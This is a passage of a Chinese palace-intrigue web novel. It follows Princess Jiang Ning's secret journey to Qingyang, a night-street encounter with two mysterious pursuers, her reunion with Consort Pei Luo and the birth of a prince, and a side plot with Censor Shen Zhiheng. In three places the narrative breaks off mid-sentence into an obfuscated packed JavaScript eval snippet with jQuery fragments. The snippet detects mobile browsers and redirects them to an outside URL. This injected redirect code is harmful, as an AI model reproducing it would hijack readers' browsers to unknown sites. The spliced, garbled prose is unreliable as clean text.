“微臣告退。”沈之衡再次行礼，转身稳步离开。 姜厚钦的目光追随着那道背影消失。殿内归于沉寂，他独自坐在御座之上，目光无意识地望向虚空处，低低地轻喃道： “灵均，若你泉下有知，漪漪挑中的这个驸马，可能入得你眼？” ———— 京城南郊外。 车轮碾过泥泞雪道，姜宁乘坐的华丽车驾在一处荒弃的破庙后方停下。此间早已有位布衣马夫牵着两匹骏马静候。 姜宁换上利落的衣物，长发束起，英姿飒爽。她接过马的缰绳，转而对众人交代道：“按计行事，分为两路。红叶，你扮作我的样子，马夫扮作苏七。惜桃、苏九，你们与红叶、马夫一道，一路大张旗鼓向南游玩，行程不必赶。到蜀地后，再向西北前往庆阳。我与苏七驾马先行一步，提前到庆阳。我们最后在庆阳汇合，再折返京城。可听明白了？” 众人齐声：“是！” 唯有惜桃紧紧抓着马车窗框，眼圈通红，声音哽咽：“殿下千万要保重！苏七，殿下若少了一根头发丝，我定不饶你！” 苏七抱拳道：“有我在，你大可放心。” 姜宁靠近马车窗边，探身拭去惜桃脸颊的泪水，柔声笑道：“傻丫头，哭什么？我们很快就在庆阳相见了。你这一路替我好好看顾‘公主凤驾’，走得越招摇越好。说不定师父在蜀地收到风声，还会赶来看你们呢？” 惜桃的泪意顿消，她用力点头：“那殿下保重！我们在庆阳见！” “嗯！庆阳见！”姜宁展颜一笑，干净利落地翻身上鞍，调转马头，与苏七绝尘向西而去。 马车方向，待姜宁和苏七的身影彻底消失在视线尽头，其余人则驾着马车，一路向南。 不远处稀疏的树林阴影里，陈泽与六名羽林卫锐士暗中观察。 “陈头儿，怎么办？”一名手下低声请示。 陈泽略一沉吟，断然下令：“你带两人，跟紧那辆往南的车驾，沿途护卫，亦要防人窥探。我亲自领其余三人，向西暗中护持殿下。不得有误！” “是！” 令下，七道身影悄无声息地散开，分别融入了通往西方和南方的苍茫官道。 【第一卷完】 14. 第十四章 初到庆阳 庆阳府地处长安以西，毗邻西域。 太祖立国之初，定都长安。因彼时皇后偏爱山林景致，太祖遂在长安城以西不远处营建庆阳行宫，此后年复一年，每年携皇后于此消磨近半时光。 后来到了先帝年间，西北匈奴屡犯边陲，朝廷才被迫迁都至如今的京城，庆阳行宫则被闲置多年。 所幸自二十二年前镇北侯赴死一搏，西北大捷，边塞渐趋安定。此后，往来庆阳的异国商队络绎不绝。如今庆阳府已是商贾云集、繁华富庶的大凌名城，百姓多以行商为业。 姜宁与苏七从京城出发，一路策马西行。抵达庆阳府时，已是二月初，奔波了接近一月。 姜宁心中盘算：去年四月裴洛姐姐身怀有孕，到今岁二月，临盆之期已然临近。她丝毫不敢耽搁，恨不能立刻赶赴行宫。然二人抵达庆阳府已是薄暮时分，去往行宫尚需半日路程。 稍作思量，姜宁决定在庆阳暂歇一夜。 二人寻了城中上好的客栈落脚，简单用过些饭食。姜宁本欲回房安歇，又被窗外喧闹市声吸引，随即改了主意。 她踱至隔壁叩门叫上苏七，一同下楼，想去夜市探探这西北名城的夜趣。 巧的是，两人刚步下楼梯，便瞥见客栈大堂里几道熟悉身影——陈泽正带着手下大口吃肉、畅饮不止。 姜宁见此，心下了然。她悄然行至陈泽身后，忽地出声：“陈泽，你小子何时跟上来的？” 离了京城，姜宁也卸下了公主的威仪。 陈泽等四人闻声猛一抬头，见是姜宁环抱双臂、面带促狭笑意地站在那里，四人慌忙起身。 陈泽硬着头皮答道：“回禀殿下，是圣上命我等暗中护卫。约莫……从您与惜桃姑娘他们分道时便一路随行了。” “哈哈，”姜宁朗声一笑，“既是父皇所遣，那便能留你们一命。”说着，她拍了拍陈泽肩头。 陈泽顿觉脊背冒汗，讪讪道：“殿下，您言重了。” “既已现身，往后便不必再藏了。只是在外，”姜宁正色交代，“不得唤我‘殿下’，称‘姜姑娘’即可，万不可泄露身份。” 陈泽等人齐齐抱拳：“属下遵命！” 姜宁微微颔首：“嗯。我现下要与苏七去夜市走走，你们不必跟随。这些日子奔波，都好好歇着吧。” “是，多谢公……” “嗯？”姜宁眉梢一挑。 陈泽四人赶忙改口：“多谢姜姑娘！” 姜宁满意地点点头，领着苏七转身步出客栈。 待二人走远，陈泽身旁的赵平才低声问道：“头儿，殿下到了庆阳，怎么像换了个人似的？” 陈泽白他一眼，撕下块盘中的牛肉：“你问我？我问谁去？” 与京城平日的宵禁森严不同，庆阳的夜，从戌时起，喧闹仿佛才刚启幕。街市上人潮熙攘，灯火辉煌，呈现出一派欣欣向荣的盛世景象。 见此繁华，想到明日便能与裴洛姐姐相见，姜宁心头郁气尽散，眉眼也舒展了许多。她在夜市流连，采买了不少新奇玩意与特色吃食，盼着明日能给姐姐带去一份惊喜。 苏七默默无言，跟在身后捧着她买来的种种物件。不多时，双手已抱得满满当当。 姜宁见状正欲返回时，目光不经意瞥过街角，一面熟悉的招牌赫然映入眼帘——凤明堂。 她指着那招牌，侧首问苏七：“风明堂何时在庆阳也开了分堂？” 苏七略一思忖，应道：“依稀记得红叶姑娘提过，应是近些日子才张罗起来的。” 姜宁莞尔：“那正好，我们给惜桃他们去封信吧。” “好。”苏七应声道，没有丝毫犹豫。 行至凤明堂内，堂上尚有零星前来抓药的百姓。 苏七唤来掌事，递上怀中信物。那掌事一见，当即明了姜宁身份，连忙恭敬地将二人引入内堂：“小人杨阳，不知殿下有何吩咐？” 姜宁语气平和：“杨掌事，烦请取纸笔来。我要修书一封，劳烦贵堂速递至蜀郡。” 凤明堂是师父顾方十二年前于长安所创。它虽以医馆立足，但于百姓间口碑极佳，其后在各地陆续开设了分堂。由于各堂之间自有专人负责药材转运，日久天长，便也织起了一张传递消息的网络。 “遵命，殿下。”杨阳应声退下，片刻便呈上纸笔。 姜宁提笔蘸墨，正落字时，屋外骤然传来炸响，似是烟火，紧接着便是街市上人群爆发的喧哗骚动。 姜宁笔尖一顿，蹙眉问道：“杨掌事，外面出了何事？” 杨阳欠身，脸上带着一丝习以为常的笑意：“回禀殿下，此乃庆阳近几年形成的风俗。每月初十亥时，南风馆会为新到的俊俏郎君开台献艺。百姓可在其中推举最受欢迎者，封为当月的‘南院公子’。若有贵客青睐，亦可出重金竞拍其初夜，或是为其赎身。久而久之，倒成了庆阳一景，引得四方游人专程前来一睹盛况。” “哦？”姜宁扬眉，笔未停，“不愧是富庶风流之地。” 她将心中嘱托一气呵成，待墨迹干透，这才不疾不徐地滴蜡密封好，递与杨阳。 杨阳双手接过信件，面上维持着得体的浅笑：“若殿下今夜也有几分兴致，不妨移步一观。怀均先生有过交代，殿下若有用度，只管记在风明堂账上便是。” 怀均先生，即顾方对外使用的称号。凤明堂之人，均唤怀均先生，鲜有人知晓其真实身份。 “知道了。”姜宁略一颔首，并未多言，与杨阳作别，带着苏七离开了风明堂。 因着南风馆的热闹，此刻街巷比来时更为寂寥。 二人步行不过百步，一直沉默护卫的苏七不动声色地将手中物件尽数拢至左手，右手悄然按上腰间佩剑，声音压得极低：“殿下，身后有人跟随。” 姜宁面不改色，脚步未停，只状似随意地嗯了一声：“几个？看得清路数么？” “两人。方才瞥见身形，俱是细瘦模样，不似长年习武之人。”苏七语速沉稳，目光锐利。 “前面左拐似是条小巷，”姜宁目光扫过前方一处幽暗的岔口，“引他们进去，就地解决。” “明白。” 两人步伐不变，又前行了数十步，便在巷口若无其事地右拐进去。 尾随的二人亦步亦趋，随之拐入暗巷。巷子深处昏暗无光，唯余脚步声清晰可闻。待行至深处，两人见巷中仅剩姜宁一人伫立，骤然惊觉不妙，正欲抽身退走。却见寒光一闪，一柄剑刃已无声无息地贴上其中衣着更为讲究那人的脖颈要害。 另一名男子见状骇然，急急抽出腰间的长刀。 与此同时，苏七的警告也随之传来，他的目光紧紧锁定了持刀者，冷冷道：“我劝你最好别动。” 被剑锋抵颈的男子面色微变，随即又恢复了几分从容， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138565|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着同伴微微颔首。那持刀的男子只得僵在原地，刀刃对着地面，进也不是，退也不是。 姜宁这才不紧不慢地转过身，走向被苏七制住的男子，声音冷冽：“谁派你们跟着的？” 那男子忽地低笑起来，嗓音带着几分奇特的慵懒：“殿下风华绝世，叫人一见难忘，情难自禁，便想跟着多走几步路罢了。” 此言轻佻，苏七眼神一厉，手上力道加重，剑锋瞬时在那人颈侧皮肤压出一道细细的红痕。 姜宁却未露怒意，只是借着巷口透进的微光打量对方。此人虽是汉人衣冠，但眉宇间分明带着几分胡人的硬朗轮廓。其身边的持刀护卫，看模样倒纯是汉人。 她目光灼灼，冷然质问：“你既认得我？是谁的人？” 那男子笑意更深，毫无惧色：“去年初春，长安城北郊流民施粥之所，殿下亲临诊脉，抚恤灾民。在下不才，曾远远仰望过公主殿下仙姿。” 姜宁眸中冷光乍现：“想拿这些虚言搪塞我？你颈上这柄剑，可没那般好的耐性。” “殿下怎就断定……在下所言不实呢？”他眉梢弯起，尾音拖长，带着一丝玩味。 话音未落，巷中突兀地响起“砰砰”几声轻响，数颗黑色小丸猛地砸落在姜宁与苏七脚边，砰然炸裂！ 浓郁的、带着强烈刺鼻气味的白烟瞬间狂涌而出，填满了狭窄的巷道。 “咳咳！”姜宁猝不及防，被呛得连咳两声，急忙以袖掩面后退。 待视野稍清，眼前除了翻滚的浓烟，那两个身影已消失无踪。唯余那个带着慵懒腔调的声音，随着夜风隐隐传来，带着几分笃定与嘲弄—— “后会有期，承嘉公主。” 白烟尚未散尽，苏七已警惕地横剑护在姜宁身前，沉声请示：“殿下，可要追？” 姜宁强压下心中惊疑与怒意，摆手道：“暗夜盲目，不宜冒险。先回客栈。” “是。”苏七即刻执行，纵身跃上檐头，将方才放在高处的一应物件悉数取下。 客栈内，一直守候的陈泽等人见姜宁安然归来，紧绷的神经才松弛下来。 姜宁踏进客栈门廊，并未停留，只吩咐小二速取纸笔，便径直回了二楼厢房。点燃油灯，昏黄的光晕映着她的侧影。 她凝神回忆，执笔于纸，手腕稳健，顷刻间便将方才那两名男子的样貌特征，尤其是那带胡风的主仆二人，分毫毕现地绘于纸上，各画了两份。 随即，她将门外守候的苏七唤了进来，将四张画像递去，沉声吩咐：“这四张画像，一份送风明堂杨掌事处，一份送庆阳知府手上。给杨掌事的，言明是我所求；给知府衙门的，借用苏家名号。要他们务必尽快探明此二人身份，一有消息，速速报来！” “属下明白！”苏七接令欲走。 “慢着，”姜宁又补了一句，眼神锐利，“叮嘱那知府，此事不可张扬，更不准上报朝廷，只作私下暗查。” “是！”苏七领命，身形一闪，自窗口悄无声息地掠出。 室内重归寂静。姜宁独坐桌旁，指节无意识地、一声声轻轻敲击着坚硬的桌面。 油灯的火苗摇曳着，将她的影子长长投在墙壁上。 她阖上眼，在记忆的深处反复寻找，试图捕捉一丝与今夜那诡异主仆相关的蛛丝马迹。然而，脑海中反复翻涌的，仍只是那双带着胡风的、慵懒而危险的眉眼，未有何线索。 15. 第十五章 庆阳行宫 次日，天刚蒙蒙亮，姜宁和苏七便策马奔向庆阳行宫。 陈泽等人早已整装待发，依旧隐在暗处，不远不近地跟随着姜宁与苏七，并未同行。 卯时启程，一路疾驰。直至日头偏西的未时，那座皇家行宫才终于映入眼帘。 甫一见行宫的宫门，姜宁未待马蹄停稳，已翻身跃下，径直叩响了朱红宫门。苏七紧随其后，如影随形，护卫的姿态无声而坚定。 不远处，陈泽一行悄然隐入林木深处，屏息凝神，隐匿自己的形迹。 宫门吱呀一声，只启开一道窄缝，内侍谨慎的声音自缝中传来：“此处乃皇家禁苑，敢问姑娘是？” 姜宁心焦如焚，面上却维持着公主应有的清贵，沉声道：“本宫乃承嘉公主，前来探望……”她喉间微涩，顿了顿，才续道：“本宫要见淑妃娘娘。” “殿下可有信物为凭？”内侍并未立刻开门。 姜宁毫不犹豫地从腰间扯下贴身玉佩，自门缝递入：“此物，可识得？” 内侍接过玉佩，仔细验看片刻。他这才将门缝略略开大些，目光越过姜宁与苏七，确认身后再无他人，才利落地将厚重宫门彻底敞开，躬身道：“公主殿下请，圣上早有吩咐。” 不待内侍话音落尽，姜宁已一步跨过高高的门槛，目光急切地四下张望：“淑妃娘娘何在？” 内侍迅速合拢宫门，侧身引路：“殿下这边请，奴才为您带路。”途中遇见洒扫宫女，内侍低声吩咐：“速去通传王嬷嬷，公主殿下到了。” “喏。”宫女领命而去。 穿过一片幽深的竹林，一座清雅的别院呈现眼前。内侍在院门前止步，垂首轻语：“殿下，淑妃娘娘就在这院中。奴才不便再入内了。” “有劳。”姜宁颔首致谢，人已踏入庭院。苏七与内侍则默契地留在院外静候。 院内清扫落叶的宫女虽不识来人，但见是内侍引领，立刻恭敬行礼。 姜宁恍若未闻，停在房门前深吸一口气，才缓缓踏过门槛而入。 屋内，裴落正倚着软枕，捧卷细读。一旁侍立的宫女见生人闯入，疑惑问道：“姑娘是……？” 裴落闻声抬眸，视线与姜宁撞个正着。她微微一怔，随即眼中漾开温柔的笑意，轻声唤道：“是漪漪么？” 这熟悉的一声“漪漪”，瞬间击溃了姜宁强撑的平静，两行清泪无声滑落，声音哽咽沙哑：“是我……裴落姐姐！” 她大步上前，紧紧抱住裴落，仿佛要将这十二年的挂念与心疼尽数揉入怀中。 裴落环住姜宁的腰身，轻抚她的背脊，声音轻柔似安抚：“漪漪，很抱歉，你归京那日，我未能亲至京城迎你。” 此言更添酸楚，姜宁的啜泣愈发难以抑制，伏在裴落肩头喃喃道：“裴落姐姐，你受苦了……” 一旁侍立的宫女见状，悄然退下，轻轻阖上了门扉。 不知过了多久，姜宁的哭声渐歇。裴落温柔地为她拭去眼边的泪痕，拉着她的手在身侧坐下，眸色温婉：“漪漪，来，坐近些。快同我说说，长安十二载，你过得如何？” “好。”姜宁抽噎着应下，从初入长安的孤寂讲起，讲到惜桃、苏七、苏九的陪伴，讲到拜顾方为师学医，讲到这些年私下游历的见闻……最后讲到借为父皇贺寿之名，终于归京。 裴落始终含笑倾听，目光温柔而专注。待姜宁讲罢，她温婉一笑：“漪漪这些年，很厉害呢。” “嗯，”姜宁用力点头，“漪漪长大了。现在，该换漪漪来保护裴落姐姐，保护苏家！” 提及苏家，裴落眸底掠过一丝难以言喻的黯淡，她忽地开口，声音轻得几乎飘散：“长英他……还好么？” 姜宁心头一涩：“长英哥哥他……很好，他……”那句“他很想你”终究哽在喉间，未能出口。 “嗯……”裴落低低应了一声，唇边牵起一丝勉强的弧度，“长英过得好，那便好。” 望着裴落强装的释然，姜宁心中涌起沉沉的疼惜。 两人分明彼此挂念，却都只能装作放下。她声音抑制不住地颤抖：“裴落姐姐，那夜之后，你和长英哥哥，明明可以远走高飞的。你知道的，长英哥哥绝不会在意。可为什么……” 可为什么偏偏要留下这个孩子，为什么要将自己困锁在这深宫之中？——后半句质问，姜宁咽了回去。 裴落却已然明了。她唇角泛起一丝苦涩的笑意，轻声道：“漪漪，你知道吗？那夜之后，其实汪皇后曾送来一碗避子汤。” 姜宁猛地抬首，眼中皆是惊疑与不解。 “但我……”裴落的声音更轻了，带着尘埃落定后的疲惫与决然，“偷偷倒掉了。” 姜宁瞳孔微缩，一时竟失语。 裴落幽幽一叹：“我了解长英。我知道他定会不顾一切带我走。可我不愿他为我冒险，不愿苏、裴两家的清誉因此受损，更无法面对那样自私的自己。那时我便想，既然事已至此，若能因此……为苏家留下一个依仗，长英他将来或许也能……” “裴落姐姐！”姜宁心痛如绞，用力摇头，泪水再次汹涌，“可是长英哥哥最想要的，从始至终，唯有一个你啊。那储君之位，也并非苏家唯一的生路！” 裴落伸手，指尖温柔地拂过姜宁的发丝，如同安抚一个委屈的孩子，声音里是饱经世事的苍凉：“漪漪，或许有一天你会明白，‘情’之一字，在这世间，常常要为许多东西让路。能执手白头……是莫大的奢侈。” 伴随这声轻叹，姜宁眼前骤然浮现出母后弥留之景—— 母后那双枯瘦的手紧紧攥着她，目光却遥遥望向父皇，艰难地吐出最后的遗言：“陛下……要照顾好漪漪。若有来世……但愿我们……能做对寻常人家的夫妻……”话音未落，气息已绝。 这迟来的顿悟，如同针尖一般，忽地刺入姜宁心口。 母后当年是何等风华绝代，在深宫十年磋磨，于病榻之上如同零落成泥的寒梅，遗言字字皆是此生未竟的遗憾。那些最后的时光里，她已经鲜少笑了。当年名动京城的《凤求凰》合奏，那被世人传颂的帝后佳话，褪去浮华后，究竟还剩下几分真心？帝王之爱，终究也要为那冰冷的权柄让路么…… 姜宁不愿深想，更不愿懂。她只是更用力地抱紧了裴落，任由滚烫的泪水无声浸湿裴洛的衣襟。 恰在此时，王嬷嬷的声音隔着厚重的门扉响起，带着宫人特有的恭谨与克制：“娘娘，殿下，该传晚膳了。” 姜宁闻声，缓缓松开手臂，用丝帕拭去脸上狼狈的泪痕。 裴洛已恢复了一贯的温和沉静，扬声应道：“好，进来吧。” 门应声而开，王嬷嬷步履沉稳地行至二人面前，躬身行礼：“娘娘，殿下。” 裴洛微微颔首。王嬷嬷便招手示意，候在门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138566|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的宫女鱼贯而入，捧着精致的食盒，动作娴熟利落，很快便在案几上布好了晚膳。 姜宁的目光落在王嬷嬷慈和却难掩肃然的面容上，一丝久远的熟悉感蓦然浮现。她轻声问道：“嬷嬷可是从前在皇祖母跟前服侍的？” 王嬷嬷看向姜宁，眼中掠过一丝追忆的慈蔼，垂首恭敬回道：“回殿下，老奴当年确曾在太后娘娘身边侍奉。” “本宫依稀记得，三岁那年，本宫趁父皇不在庆元殿，顽劣地撕碎了许多奏折。父皇盛怒之下，”姜宁的声音带着悠远的回忆，“是皇祖母将本宫护在怀里。那时，嬷嬷似乎端了一碟荔枝糕给本宫，滋味甚甜。”她的目光仿佛穿透时光，落在那遥远的午后。 “殿下好记性。”王嬷嬷眼中笑意深了些许，旋即又化作一声轻叹，“只可惜……太后娘娘福寿不永，走得早了些。若她老人家还在，又怎舍得让殿下远赴长安，受那十二载离京之苦……”她手下动作未停，细致地为姜宁和裴落布菜。 暮色四合，窗外的天光彻底暗淡下来。 待二人用罢晚膳，王嬷嬷吩咐宫女撤下碗碟，便欲行礼告退。 姜宁忽然开口唤住她：“嬷嬷，庭院外候着的男子名唤苏七，是本宫的贴身侍卫，劳烦嬷嬷为他安排一处歇息之所。此外，行宫外围的密林之中，尚有四人，乃父皇所遣羽林卫，亦请嬷嬷妥善安置。” “是，老奴明白。”王嬷嬷并无多问，利落地应下，躬身退了出去。 房门再度合拢。 裴落轻轻拉起姜宁的手，指尖微凉，声音却带着暖意：“先前圣上便传了密信，说漪漪要来。我便一直等着，一直盼着。前几日还听闻你为情所伤，南下散心，没想到，”她眉梢微扬，笑意更深，“转眼间，你就出现在我面前了。” 她顿了顿，眸中闪着促狭的光，“前些日子那桩轰动京城的传闻，说你于浮月桥畔独奏《凤求凰》向沈御史求爱，遭拒后羞愤跳河，以死相胁。此事，可是真的？” 提及此事，姜宁脸上也浮现一丝玩味的神情，压低声音道：“裴落姐姐，你是了解我的。我怎会为了这等事寻死觅活？不过是借个由头，掩人耳目好离京罢了。” 她眼神微凝，“汪皇后在京中必然眼线密布，紧盯着我的一举一动。若忽地离京前来见你，岂非打草惊蛇？” 裴落了然颔首，温婉的笑意里带着一丝不易察觉的提醒：“那位沈大人，自六年前高中状元，便是京中无数世家小姐的春闺梦里人。倾慕者众，求之不得者亦不在少数。漪漪此番这般‘玩弄’于他，待回京之后，可得仔细些才好。” 姜宁虽心觉无妨，但仍顺从应道：“好，漪漪知道了。” 裴落便不再多言，转而问道：“此番来庆阳，打算住多久？” 姜宁回望着她，眼中带着真切的不舍：“约莫……还能留两个月吧。” “那便好，”裴落唇角漾开温柔的笑意，指尖不自觉地抚上隆起的小腹，动作轻柔，“如此，你便能见到这位小皇子了。” 姜宁重重点头，面上波澜不惊，心头却翻涌起浓重的苦涩。 她如此急切地日夜兼程赶来庆阳行宫，另一重难以言说的缘由，便是为此。 十四年前，幼弟姜宸夭折、母后含恨而终的场景，至今仍如噩梦般历历在目。她绝不允许旧事重演，更害怕汪氏的毒手，会再度伸向裴落与她腹中这无辜的孩子。 16. 第十六章 可还安好 姜宁在庆阳行宫一住便是十日。 这十日间，她片刻未歇，将行宫内外一应护卫、内侍、宫女皆细细盘查甄别，确保皆属皇帝亲信；又将裴落的贴身之物与日常膳食逐一查验，更亲为裴落搭脉问安，直至确认万无一失，紧绷的心弦才略略松弛。 裴落每每见她如此，只温婉含笑，由着她去忙碌。 这日，姜宁正在小厨房亲自盯着那碗安胎药文火慢煎，苏七的身影倏然出现在门边。二人目光一触，姜宁便知有了消息。 她低声嘱咐侍立宫女仔细看顾火候，随苏七转至院中一处僻静角落。 未及开口，苏七已自怀中取出两封密函递上：“殿下，凤明堂密信。一封来自苏公子，一封是顾先生手书。” “师父？”姜宁眉峰微扬，眸中掠过一丝讶异。 她先接过师父的信函展开。信笺依旧寥寥数语，承袭了顾方一贯的简洁风格，只道他从凤明堂得悉姜宁身在庆阳。而他自己恰在毗邻的昆仑寻药，正往此处赶来，约定七日后于庆阳的凤明堂相见。 姜宁眼睫轻垂，嘴角不自觉弯起：“看来惜桃她们在蜀郡是见不着师父了。不过，师父什么时候又跑到昆仑去了？” 正疑惑时，她随即忽地想起那夜的那对诡异主仆，追问道：“对了，那两人踪迹可有眉目？” “尚未。”苏七沉声应道。 姜宁略一沉吟：“转告杨掌事和梁知府，不妨暗中向那些异域商队打探一二。” “是，属下稍后便去传话。”苏七抱拳领命。 “嗯。”姜宁心不在焉地应着。 裴落的脉象已显，临盆就在这一两日了，一股难以言喻的紧张悄然攥紧了她的心。 她转而三两下拆开苏长英的信—— 京中暂无异常，至少汪皇后那头尚未察觉姜宁已悄然抵临庆阳。 若说唯一波澜，便是沈之衡自年后以来，主持推行了都察院与吏部联手拟定的官员考绩新法。同时，他联合大理寺向刑部施压，严查了一批涉事官员。父皇给对此鼎力支持。一时间，朝野上下，无论京官外吏，无不人人自危。 往日曾有过犯的官员，更是惶惶不可终日。已有数人主动前往都察院或大理寺自陈其罪，以求宽宥。 沈之衡则顺势放言：若待都察院纠出罪证，必从严论处。此言一出，都察院与大理寺连日门庭若市，刑部的牢房则人满为患。 读至此处，姜宁唇角不禁勾起一丝玩味的弧度：“这沈之衡，倒真有几分雷霆手段与魄力。”一丝说不清道不明的期待倏然掠过心头，隐隐生出几分回京再与那人斗上一斗的兴致。 正凝神间，一名宫女气喘吁吁地急奔而来：“殿下！淑妃娘娘……娘娘要生了！” 姜宁面色骤凝，迅速将信笺揉入袖中，急忙便向裴落所居的庭院前去。 刚入院落，便见宫女们端着热水盆、捧着洁净布帛，步履匆匆地穿梭出入。屋内传来裴落压抑的痛吟与稳婆沉稳的指导声，声声交织，刺人心弦。 姜宁脚步猛地一顿，一股寒意自心头涌现。幼年母后生产时的凶险场景如潮水般汹涌而至。那弥漫的血腥气，宫人惨白的脸色，父皇焦灼的踱步…… 巨大的恐惧突然攫住了她。她的身子骤然冰冷，微微发颤，但很快狠狠咬了下唇角，强迫自己镇定下来，深吸一口气，毅然踏过门槛。 屋内，稳婆正沉稳地引导裴落用力，王嬷嬷则指挥着宫女，一切有条不紊却弥漫着无声的紧张。 姜宁快步行至床榻前，一把握住裴落汗湿的手，指尖冰凉却异常坚定：“裴落姐姐，定会平安无事的！”这句话，既是对裴落的承诺，亦是说给自己听的安慰。 裴落回握住她的手，尽管脸色苍白，眼神却透着磐石般的坚韧，重重地颔首。 不多时，随着裴落一声耗尽全力的低呼，一声嘹亮的婴儿啼哭骤然划破了紧绷的空气。 稳婆将襁褓中的婴儿仔细擦拭包裹，捧至裴落面前：“恭喜娘娘，贺喜娘娘，是位健壮的小皇子！” 满屋宫人齐齐跪地，声音带着劫后余生的激动：“恭喜陛下！恭喜娘娘！” 听闻“皇子”二字，裴落紧绷的肩背终于松弛下来，长长吁出一口气。 姜宁眼角不知何时已是一片潮湿，她温柔地为裴落拭去额上密布的汗珠，随即侧首对王嬷嬷道：“嬷嬷，即刻传信入京，禀报父皇。” “是！老奴这就去办！”王嬷嬷应声，利落地退下。 姜宁目光转向屋内众人，声音陡然转厉，带着不容置疑的威压：“乳母及所有侍奉三皇子宫人，务必精心！若有丝毫差池，便是死罪！可都听清了？” “是！谨遵殿下吩咐！”众人心头一凛，齐声应诺。 “收拾妥当便都退下吧，莫扰了娘娘清静休养。”姜宁又吩咐道。 “是。” 待众人陆续散去，屋内重归宁静。姜宁凝视着裴落疲惫却安然的眉眼，心疼的情绪如潮水漫涌：“裴落姐姐，这一年，委屈你了。”她顿了顿，接着说道：“今后……” 裴落低声宽慰，“漪漪，我没事，不必担忧我。” 姜宁拉着裴落的手倏然一紧，眼眸之中，意味深长，她缓缓开口道：“裴落姐姐，我要说的是。此事已毕，今后……你的人生之路大可自行抉择。金蝉脱壳，假死遁世之法并非不可行。天高地阔，我不愿你一世年华都葬送在这重重宫阙之中。我可以……” 裴落心头剧震，未待姜宁说完便急急打断，声音带着惊悸：“漪漪！不可！那是欺君大罪！不要做……不要……”她用力攥紧姜宁的手，指尖冰凉，重复着话语。 姜宁轻叹一声，自袖中取出那封被揉皱的信笺，递至裴落手中，声音微哑：“这是长英哥哥今日才到的信。” 裴落在姜宁的搀扶下，吃力地撑起身子，半倚着靠枕。接过信纸的指尖，倏然增添了几分苍白。 她的目光触及那力透纸背、再熟悉不过的字迹。最终，目光定定地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138567|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在信尾那句简洁却又重若千钧的问候—— “裴落可还安好？” 裴落的身子颤抖着，泪水瞬间决堤，无声滑落。往事一一浮现，她再也难以压抑这份痛苦和思念。 许久过后，她侧首望向姜宁，声音沙哑：“漪漪，我能给长英……回封信么？”目光之中，皆是恳切。 姜宁回望她的目光，温言回道：“当然。我去取纸笔。” ———— 与此同时，京城之中。 都察院值房内，烛火摇曳，映照着沈之衡与几名属官伏案的身影。 一份份从刑部转来的公文案牍被仔细核对、签押，直至暮色彻底降临，方才落定收尾。 沈之衡踏出都察院的大门时，向恒声已然在阶前石狮旁静候多时。 “今日怎拖得这般晚？若再迟半刻，我便要闯进去寻你了。”向恒声的声音带着习以为常的调侃，眼底却藏着不容错辨的关切。 沈之衡面容略显疲惫，抬手揉了揉眉心：“今日案牍堆积了些。” 顿了顿，他语气沉稳，试图宽慰，“都察院身在宫城之内，料也无妨。” “无妨？”向恒声冷笑一声，“这阵子，你步步紧逼，不知断了多少人的生路。狗急尚跳墙，谁知会不会有不要命的疯狗冲出来撕咬？” 话音未落，一道人影悄然自宫墙阴影处趋近。 向恒声身形瞬移，谨慎地将沈之衡严严实实挡在身后，按在剑柄上的手蓄势待发。 那是一名低眉垂目的内侍。他行至阶前，躬身一礼：“沈大人，齐阁老有请，盼与大人一叙。” 沈之衡眉头一蹙，声线沉稳却带着疏离：“烦请回禀阁老，沈某公务方毕，恐失礼于尊前，容改日再赴。” 内侍腰弯得更深，嗓音在寂静的夜色中清晰可闻：“回禀大人，阁老的车驾……已在宫门处恭候多时了。” 沈之衡嘴角牵起一丝无奈的苦笑，终是颔首：“本官知道了。” 一旁的向恒声眉梢轻挑，指尖仍握着冰冷的剑柄，语气闲闲抛出：“齐阁老可有提到不许旁人随行？” 那内侍身形似乎凝滞了一瞬，迟疑片刻，才低声如实应道：“回向少卿，阁老未曾提及。” “甚好，”向恒声唇角一勾，语气却带着冷硬，“那本宫便随沈大人同往。劳驾引路。” 宫门外，一辆形制朴拙的马车于阴影之中静默停驻。 沈之衡与向恒声并肩行去。月光落下，地面上映照出两道颀长的影子，一道如青松般挺拔孤绝，一道似利刃般寒气逼人。 马车侧窗的帘子被一只布满岁月刻痕的手缓缓掀起半幅。 齐任东的目光越过车窗，沉沉落在沈之衡身上，那目光深处似有欣慰的暖意流淌，出口的语调却平静无波，听不出丝毫情绪：“怀野，你来了。” 沈之衡脚步顿住，对着车内方向深深一揖。他低垂的视线隐在宽大官袍之后，只余一声恭谨而遥远的回应：“老师。” 17. 第十七章 师者何也 戊时正刻，齐府书房，烛火幽微。 